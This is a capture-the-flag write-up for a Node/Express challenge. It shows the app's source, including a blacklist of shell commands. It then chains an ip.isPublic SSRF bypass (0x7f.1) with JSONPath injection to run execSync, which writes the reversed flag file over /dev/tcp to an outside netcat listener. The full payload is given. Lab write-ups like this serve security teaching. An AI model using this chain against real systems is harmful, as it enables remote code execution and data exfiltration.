walawe
Solved by: ndrasukagacoan
lalalalala
10.4.79.68:20009
author: vannn
The challenge provided a ZIP file, containing the app's source code.

Full main.js contents:
const express = require("express");
const { JSONPath } = require("jsonpath-plus");
const bodyParser = require("body-parser");
const crypto = require("crypto");
const ip = require("ip");
const session = require("express-session");
const app = express();
const port = 3000;
// Middleware to parse JSON bodies
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.set("view engine", "ejs");
app.use(express.static("public"));
function generateRandomString(length) {
const bytes = crypto.randomBytes(Math.ceil(length / 2));
const randomString = bytes.toString("hex").slice(0, length);
return randomString;
}
function escapeJsonPath(input) {
return input
.replace(/\\/g, "\\\\") // Escape backslashes
.replace(/"/g, '\\"'); // Escape double quotes
}
app.use(
session({
secret: generateRandomString(16), // Replace with your own secret key
resave: false,
saveUninitialized: true,
cookie: { secure: false }, // Set to true if using HTTPS
})
);
const users = [
{ username: "admin", password: generateRandomString(16) },
{ username: "user", password: "rahasia123" },
];
const BLACKLIST_QUERY = [
"cat",
"head",
"tail",
"*",
"flag",
"rm",
"more",
"less",
"tac",
"strings",
"xxd",
"hexdump",
"base64",
"dd",
"grep",
"awk",
"sed",
// "curl",
"wget",
"fetch",
"bin",
];
// Login route
app.post("/login", (req, res) => {
try {
let { username, password } = req.body;
// Prevent JSONPath injection
username = escapeJsonPath(username);
password = escapeJsonPath(password);
// Query user data using JSONPath
const user = JSONPath({
path: `$[?(@.username=="${username}" && @.password=="${password}")]`,
json: users,
});
if (user.length > 0) {
req.session.username = username;
res.redirect("/query");
} else {
res.status(401).send({ message: "Invalid credentials." });
}
} catch (e) {
console.log(e);
res.status(500).send({ message: "Internal Server Error." });
}
});
app.get("/search", async (req, res) => {
res.render("search");
});
app.post("/search", async (req, res) => {
try {
const { url } = req.body;
const hostname = url.split("/")[2].split(":")[0];
if (ip.isPublic(hostname) && hostname !== "localhost") {
let r = await fetch(url);
r = await r.text();
res.redirect("/search");
} else {
res.status(403).send({ message: "Unauthorized" });
}
} catch (e) {
res.status(500).send({ message: "Internal Server Error" });
}
});
app.get("/query", (req, res) => {
try {
if (
req.session.username === "admin" ||
req.ip === "::ffff:127.0.0.1" ||
req.ip === "127.0.0.1"
) {
const query = req.query.q;
if (query) {
console.log(query);
// Check for blacklisted keywords
for (const keyword of BLACKLIST_QUERY) {
if (query.includes(keyword)) {
console.log("Blocked query:", query, "due to keyword:", keyword);
res.status(400).send({ message: "Bad Request." });
}
}
const result = JSONPath({
path: query,
json: users,
});
res.send(result);
}
} else {
res.status(403).send({ message: "Unauthorized." });
}
} catch (e) {
res.status(500).send({ message: "Internal Server Error." });
}
});
app.get("/logout", (req, res) => {
req.session.destroy((err) => {
if (err) {
return console.log(err);
}
res.redirect("/login");
});
});
app.get("/login", (req, res) => {
res.render("login");
});
app.get("/", (req, res) => {
res.render("index");
});
// Start server
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});
Quick summarization:
/logincan't be injected with JSONPath;escapeJsonPathhandles this/searchand/queryare pretty interesting:/searchprovides a mechanism tofetcha route/queryis vulnerable to JSONPath injection/searchcould fetch any route, including the internal/queryroute- However, the inputted URL can't be public, checked with
isPublic() - Luckily, the version of
iplibrary used is vulnerable to SSRF, where some private IP aren't being detected as private IP, thusisPublic()returningtrue. One of them is0x7f.1. - Note that we can't use utils like cat or curl to see and send the flag (see
BLACKLIST_QUERYin the source code above). For this, we could userevand send it to a Netcat server by piping to/dev/tcp/<ip>/<port>,
The trick is to execute a Server-Side Request Forgery (SSRF) attack and combining with JSONPath injection to do Remote Code Execution (RCE) to get the flag and sending it to our device.
For this, we use a public server that runs netcat server to be the 'drop place' for the flag got from RCE.
To run a netcat server, run:
nc -lvp 32504
Access http://10.4.79.68:20009/search, then input the payload below:
http://0x7f.1:3000/query?q=$[?(@.constructor.constructor("return process.mainModule.require('child_process').execSync('bash -c \"rev fl?g.txt > /dev/tcp/<your server IP>/<netcat port>\"')")())]
Where:
<your server IP: change to server IP for Netcat listener<netcat port: change to the Netcat server port

After executing, check the netcat server. The flag will be there.

Note that rev is used because cat is blocklisted. To undo the reversal, just do:
echo }3h3h_retlif_htiw_gniniahc_ecr_0t_frss{tipmoc" | rev

FLAG: compit{ssrf_t0_rce_chaining_with_filter_h3h3}
